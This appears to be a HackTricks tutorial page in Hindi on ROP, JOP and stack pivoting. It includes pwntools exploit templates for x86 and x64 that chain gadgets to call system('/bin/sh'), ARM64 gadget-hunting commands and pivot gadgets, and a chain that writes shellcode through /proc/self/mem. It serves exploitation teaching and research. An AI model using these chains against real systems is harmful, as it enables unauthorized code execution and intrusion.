ROP & JOP

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

मूल जानकारी

Return-Oriented Programming (ROP) एक उन्नत exploitation तकनीक है जिसका उपयोग सुरक्षा उपायों जैसे No-Execute (NX) या Data Execution Prevention (DEP) को बायपास करने के लिए किया जाता है। shellcode इंजेक्ट और execute करने के बजाय, एक atacante बाइनरी या लोड की गई libraries में पहले से मौजूद छोटे-छोटे कोड हिस्सों का उपयोग करता है, जिन्हें “gadgets” कहा जाता है। हर gadget आमतौर पर एक ret instruction पर समाप्त होता है और छोटे ऑपरेशन करता है, जैसे रजिस्टरों के बीच डेटा मूव करना या arithmetic ऑपरेशन करना। इन gadgets को chain करके, एक atacante arbitrary operations करने के लिए payload बना सकता है, जिससे NX/DEP सुरक्षा प्रभावी रूप से बायपास हो जाती है।

ROP कैसे काम करता है

  1. Control Flow Hijacking: सबसे पहले, atacante को प्रोग्राम के control flow को hijack करना होता है, आमतौर पर buffer overflow का उपयोग करके stack पर saved return address overwrite करके।
  2. Gadget Chaining: इसके बाद atacante सावधानीपूर्वक आवश्यक gadgets का चयन कर उन्हें chain करता है ताकि इच्छित क्रियाएँ की जा सकें। इसमें किसी function call के लिए arguments set करना, उस function को कॉल करना (उदा., system("/bin/sh")), और किसी भी आवश्यक cleanup या अतिरिक्त ऑपरेशनों को संभालना शामिल हो सकता है।
  3. Payload Execution: जब vulnerable function return करता है, तो वैध स्थान पर लौटने के बजाय यह gadgets की श्रृंखला execute करना शुरू कर देता है।

Tools

आमतौर पर gadgets को ढूंढने के लिए ROPgadget, ropper या सीधे pwntools (ROP) का उपयोग किया जाता है।

ROP Chain in x86 Example

x86 (32-bit) Calling conventions

  • cdecl: Caller stack को clean करता है। Function arguments को stack पर reverse order (right-to-left) में push किया जाता है। Arguments are pushed onto the stack from right to left.
  • stdcall: cdecl के समान, पर callee stack को clean करने का जिम्मेदार होता है।

Finding Gadgets

मान लीजिए कि हमने binary या इसकी loaded libraries में आवश्यक gadgets पहचान लिए हैं। जिन gadgets में हम रुचि रखते हैं वे हैं:

  • pop eax; ret: यह gadget stack के top वाले value को EAX register में pop कर देता है और फिर return करता है, जिससे हम EAX को नियंत्रित कर सकते हैं।
  • pop ebx; ret: ऊपर वाले के समान, पर यह EBX register के लिए है, जिससे EBX को नियंत्रित करना संभव होता है।
  • mov [ebx], eax; ret: EAX में मौजूद value को EBX द्वारा point किए गए memory location पर लिखता है और फिर return करता है। इसे अक्सर write-what-where gadget कहा जाता है।
  • इसके अलावा, हमारे पास system() function का address उपलब्ध है।

ROP Chain

pwntools का उपयोग करते हुए, हम ROP chain execution के लिए stack को इस तरह तैयार करते हैं ताकि system('/bin/sh') execute हो सके, ध्यान दें कि chain इस तरह शुरू होता है:

  1. alignment के उद्देश्यों के लिए एक ret instruction (optional)
  2. system function का address (मानकर कि ASLR disabled है और libc ज्ञात है, अधिक जानकारी Ret2lib में)
  3. system() से लौटने के लिए placeholder return address
  4. "/bin/sh" string का address (system function के लिए parameter)
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

ROP Chain in x64 उदाहरण

x64 (64-bit) कॉलिंग कन्वेंशन्स

  • Unix-like सिस्टम्स पर यह System V AMD64 ABI calling convention का उपयोग करता है, जहाँ पहले छह integer या pointer arguments रजिस्टर RDI, RSI, RDX, RCX, R8, और R9 में पास किए जाते हैं। अतिरिक्त arguments stack पर पास होते हैं। रिटर्न वैल्यू RAX में रखी जाती है।
  • Windows x64 calling convention पहले चार integer या pointer arguments के लिए RCX, RDX, R8, और R9 का उपयोग करता है, और अतिरिक्त arguments stack पर पास होते हैं। रिटर्न वैल्यू RAX में रखी जाती है।
  • Registers: 64-bit रजिस्टर में शामिल हैं RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, और R8 से R15 तक।

Finding Gadgets

हमारे उद्देश्य के लिए, आइए उन gadgets पर ध्यान दें जो हमें RDI रजिस्टर सेट करने की अनुमति देंगे (ताकि "/bin/sh" स्ट्रिंग को system() को आर्ग्युमेंट के रूप में पास किया जा सके) और फिर system() को कॉल कर सकें। मान लेते हैं कि हमने निम्नलिखित gadgets पहचान लिए हैं:

  • pop rdi; ret: स्टैक के शीर्ष मान को RDI में pop करता है और फिर return करता है। system() के लिए हमारा आर्ग्युमेंट सेट करने में यह आवश्यक है।
  • ret: एक सरल return, कुछ परिस्थितियों में stack alignment के लिए उपयोगी।

और हमें system() फंक्शन का पता ज्ञात है।

ROP Chain

नीचे एक उदाहरण है जो pwntools का उपयोग करके ROP chain सेटअप और execute करने का है, जिसका लक्ष्य x64 पर system(‘/bin/sh’) को execute करना है:

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

इस उदाहरण में:

  • हम pop rdi; ret gadget का उपयोग करते हैं ताकि RDI को "/bin/sh" के address पर सेट किया जा सके।
  • RDI सेट करने के बाद हम सीधे system() पर jump करते हैं, जिसमें chain में system() का address मौजूद होता है।
  • यदि target environment इसे मांगता है तो alignment के लिए ret_gadget का उपयोग किया जाता है, जो कि functions को call करने से पहले proper stack alignment सुनिश्चित करने के लिए x64 में अधिक सामान्य है।

Stack Alignment

The x86-64 ABI सुनिश्चित करता है कि जब कोई call instruction execute हो, तब stack 16-byte aligned होता है। प्रदर्शन बेहतर करने के लिए LIBC SSE instructions (जैसे movaps) का उपयोग करती है, जिन्हें यह alignment चाहिए। अगर stack सही तरीके से aligned नहीं है (यानी RSP 16 का गुणज नहीं है), तो ROP chain में system जैसे functions के calls fail हो सकते हैं। इसे ठीक करने के लिए अपने ROP chain में system को call करने से पहले बस एक ret gadget जोड़ें।

x86 vs x64 main difference

Tip

क्योंकि x64 पहले कुछ arguments के लिए registers का उपयोग करता है, यह साधारण function calls के लिए अक्सर x86 की तुलना में कम gadgets की आवश्यकता करता है, लेकिन सही gadgets को ढूँढना और chain करना अधिक जटिल हो सकता है क्योंकि registers की संख्या बढ़ जाती है और address space बड़ा होता है। x64 आर्किटेक्चर में registers की बढ़ी हुई संख्या और बड़ा address space exploit development के लिए अवसर और चुनौतियाँ दोनों प्रदान करता है, विशेषकर Return-Oriented Programming (ROP) के संदर्भ में।

ROP chain in ARM64

Regarding ARM64 Basics & Calling conventions, इस जानकारी के लिए निम्नलिखित पृष्ठ देखें:

Introduction to ARM64v8

[!DANGER] यह ध्यान रखना महत्वपूर्ण है कि जब ARM64 में ROP का उपयोग करके किसी function पर jump किया जाता है तो कम से कम function के दूसरे instruction पर ही jump करना चाहिए, ताकि वर्तमान stack pointer स्टैक में store न हो और function बार-बार call होते हुए eternal loop में न फंसे।

Finding gadgets in system Dylds

system libraries एक single file में compiled आती हैं जिसे dyld_shared_cache_arm64 कहा जाता है। यह फ़ाइल सभी system libraries को compressed format में रखती है। mobile device से इस फ़ाइल को डाउनलोड करने के लिए आप कर सकते हैं:

scp [-J <domain>] root@10.11.1.1:/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 .
# -Use -J if connecting through Corellium via Quick Connect

फिर, आप dyld_shared_cache_arm64 फ़ाइल से वास्तविक लाइब्रेरी निकालने के लिए कुछ टूल्स का उपयोग कर सकते हैं:

brew install keith/formulae/dyld-shared-cache-extractor
dyld-shared-cache-extractor dyld_shared_cache_arm64 dyld_extracted

अब, जिस binary को आप exploit कर रहे हैं, उसके लिए रोचक gadgets ढूँढने के लिए आपको पहले यह जानना होगा कि binary किन libraries को loaded करता है। आप इसके लिए lldb* का उपयोग कर सकते हैं:

lldb ./vuln
br s -n main
run
image list

अंत में, आप Ropper का उपयोग उन लाइब्रेरीज़ में gadgets खोजने के लिए कर सकते हैं:

# Install
python3 -m pip install ropper --break-system-packages
ropper --file libcache.dylib --search "mov x0"

JOP - Jump Oriented Programming

JOP ROP की समान तकनीक है, लेकिन प्रत्येक gadget में gadget के अंत में RET instruction का उपयोग करने की बजाय, यह jump addresses का उपयोग करता है। यह उन स्थितियों में विशेष रूप से उपयोगी हो सकता है जहाँ ROP व्यवहार्य नहीं है, जैसे जब कोई उपयुक्त gadgets उपलब्ध न हों। यह सामान्यतः ARM architectures में उपयोग किया जाता है जहाँ ret instruction उतना सामान्य नहीं होता जितना x86/x64 architectures में।

आप JOP gadgets खोजने के लिए rop tools का उपयोग भी कर सकते हैं, उदाहरण के लिए:

cd usr/lib/system # (macOS or iOS) Let's check in these libs inside the dyld_shared_cache_arm64
ropper --file *.dylib --search "ldr x0, [x0" # Supposing x0 is pointing to the stack or heap and we control some space around there, we could search for Jop gadgets that load from x0

एक उदाहरण देखते हैं:

  • एक heap overflow जो हमें heap में स्टोर एक function pointer को ओवरराइट करने की अनुमति देता है जिसे कॉल किया जाएगा।

  • x0 heap की ओर इशारा कर रहा है जहाँ हम कुछ स्थान नियंत्रित करते हैं

  • loaded system libraries से हमें निम्नलिखित gadgets मिलते हैं:

0x00000001800d1918: ldr x0, [x0, #0x20]; ldr x2, [x0, #0x30]; br x2;
0x00000001800e6e58: ldr x0, [x0, #0x20]; ldr x3, [x0, #0x10]; br x3;
  • हम पहले gadget का उपयोग कर सकते हैं ताकि x0 में /bin/sh (heap में संग्रहीत) का pointer लोड किया जा सके और फिर x0 + 0x30 से x2 में system का address लोड करके उस पर jump कर दें।

Stack Pivot

Stack pivoting exploitation में एक technique है जो stack pointer (RSP in x64, SP in ARM64) को किसी controlled memory क्षेत्र की ओर बदलने के लिए इस्तेमाल होती है, जैसे heap या stack पर कोई buffer — जहाँ attacker अपना payload (आमतौर पर एक ROP/JOP chain) रख सकते हैं।

Stack Pivoting chains के उदाहरण:

  • उदाहरण: सिर्फ 1 gadget:
mov sp, x0; ldp x29, x30, [sp], #0x10; ret;

The `mov sp, x0` instruction sets the stack pointer to the value in `x0`, effectively pivoting the stack to a new location. The subsequent `ldp x29, x30, [sp], #0x10; ret;` instruction loads the frame pointer and return address from the new stack location and returns to the address in `x30`.
I found this gadget in libunwind.dylib
If x0 points to a heap you control, you can control the stack pointer and move the stack to the heap, and therefore you will control the stack.

0000001c61a9b9c:
ldr x16, [x0, #0xf8];    // Control x16
ldr x30, [x0, #0x100];   // Control x30
ldp x0, x1, [x0];        // Control x1
mov sp, x16;             // Control sp
ret;                     // ret will jump to x30, which we control

To use this gadget you could use in the heap something like:
<address of x0 to keep x0>     # ldp x0, x1, [x0]
<address of gadget>            # Let's suppose this is the overflowed pointer that allows to call the ROP chain
"A" * 0xe8 (0xf8-16)           # Fill until x0+0xf8
<address x0+16>                # Lets point SP to x0+16 to control the stack
<next gadget>                  # This will go into x30, which will be called with ret (so add of 2nd gadget)
  • कई gadgets का उदाहरण:
// G1: Typical PAC epilogue that restores frame and returns
// (seen in many leaf/non-leaf functions)
G1:
ldp     x29, x30, [sp], #0x10     // restore FP/LR
autiasp                          // **PAC check on LR**
retab                            // **PAC-aware return**

// G2: Small helper that (dangerously) moves SP from FP
// (appears in some hand-written helpers / stubs; good to grep for)
G2:
mov     sp, x29                  // **pivot candidate**
ret

// G3: Reader on the new stack (common prologue/epilogue shape)
G3:
ldp     x0, x1, [sp], #0x10      // consume args from "new" stack
ret
G1:
stp x8, x1, [sp]  // Store at [sp] → value of x8 (attacker controlled) and at [sp+8] → value of x1 (attacker controlled)
ldr x8, [x0]      // Load x8 with the value at address x0 (controlled by attacker, address of G2)
blr x8            // Branch to the address in x8 (controlled by attacker)

G2:
ldp x29, x30, [sp], #0x10  // Loads x8 -> x29 and x1 -> x30. The value in x1 is the value for G3
ret
G3:
mov sp, x29       // Pivot the stack to the address in x29, which was x8, and was controlled by the attacker possible pointing to the heap
ret

Shellcode /proc/self/mem के जरिए (Embedded Linux)

यदि आपके पास पहले से ROP chain है लेकिन no RWX mappings, तो एक विकल्प यह है कि /proc/self/mem का उपयोग करके वर्तमान प्रक्रिया में write shellcode into the current process using और फिर उस पर jump करें। यह embedded Linux targets पर आम है, जहाँ /proc/self/mem डिफ़ॉल्ट कॉन्फ़िगरेशन में executable segments पर write protections को अनदेखा कर सकता है।

Typical chain idea:

fd = open("/proc/self/mem", O_RDWR);
lseek(fd, target_addr, SEEK_SET);   // e.g., a known RX mapping or code cave
write(fd, shellcode, shellcode_len);
((void(*)())target_addr)();         // ARM Thumb: jump to target_addr | 1

यदि fd को संरक्षित करना कठिन है, तो कई बार open() कॉल करने से /proc/self/mem के लिए प्रयुक्त descriptor का अनुमान लगाना संभव हो सकता है। On ARM Thumb targets, branching करते समय low bit सेट करना न भूलें (addr | 1)।

ROP और JOP के खिलाफ सुरक्षा

  • ASLR & PIE: ये protections ROP के उपयोग को कठिन बनाते हैं क्योंकि gadgets के addresses निष्पादन के बीच बदलते हैं।
  • Stack Canaries: BOF के मामले में, ROP chain का दुरुपयोग करने के लिए return pointers को overwrite करने से पहले store किए गए stack canary को bypass करना आवश्यक होता है।
  • Lack of Gadgets: यदि पर्याप्त gadgets नहीं हैं तो ROP chain जनरेट करना संभव नहीं होगा।

ROP आधारित तकनीकें

ध्यान दें कि ROP सिर्फ़ arbitrary code execute करने की एक technique है। ROP के आधार पर कई Ret2XXX techniques विकसित की गईं:

  • Ret2lib: ROP का उपयोग करके loaded library से arbitrary functions को arbitrary parameters के साथ call करना (आम तौर पर कुछ ऐसा system('/bin/sh'))।

Ret2lib

  • Ret2Syscall: ROP का उपयोग करके syscall के लिए call तैयार करना, जैसे execve, और arbitrary commands execute कराना।

Ret2syscall

  • EBP2Ret & EBP Chaining: पहला EBP का दुरुपयोग करके flow को control करेगा और दूसरा Ret2lib के समान है पर इस मामले में flow मुख्यतः EBP addresses से नियंत्रित होता है (हालाँकि EIP को भी नियंत्रित करना आवश्यक होता है)।

Stack Pivoting

अन्य उदाहरण और संदर्भ

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें